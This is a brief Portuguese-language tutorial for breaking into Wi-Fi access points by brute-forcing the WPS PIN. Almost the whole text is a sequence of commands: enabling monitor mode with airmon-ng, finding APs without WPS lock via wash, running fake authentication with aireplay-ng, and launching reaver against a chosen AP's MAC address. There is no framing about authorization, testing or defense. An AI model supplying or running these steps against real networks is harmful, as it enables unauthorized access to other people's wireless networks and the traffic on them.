Você deve ter um sinal decente do seu ponto de acesso de destino.
Ativar o modo de monitoração no wlan0
airmon-ng start wlan0
Em seguida, você pode identificar os pontos de acesso sem o bloqueio WPS
wash -i mon0 -C
Você pode definir o canal para o AP que você está interessado
iwconfig mon0 channel <channel of AP eg. 6>
Iniciar aireplay-ng
aireplay-ng mon0 -1 120 -a <MAC of AP> -e <AP name>
Iniciar reaver
reaver -i mon0 -A -b <MAC of AP> -v
Você só pode usar o Reaver para pontos de acesso que não tenham o bloqueio do WPS.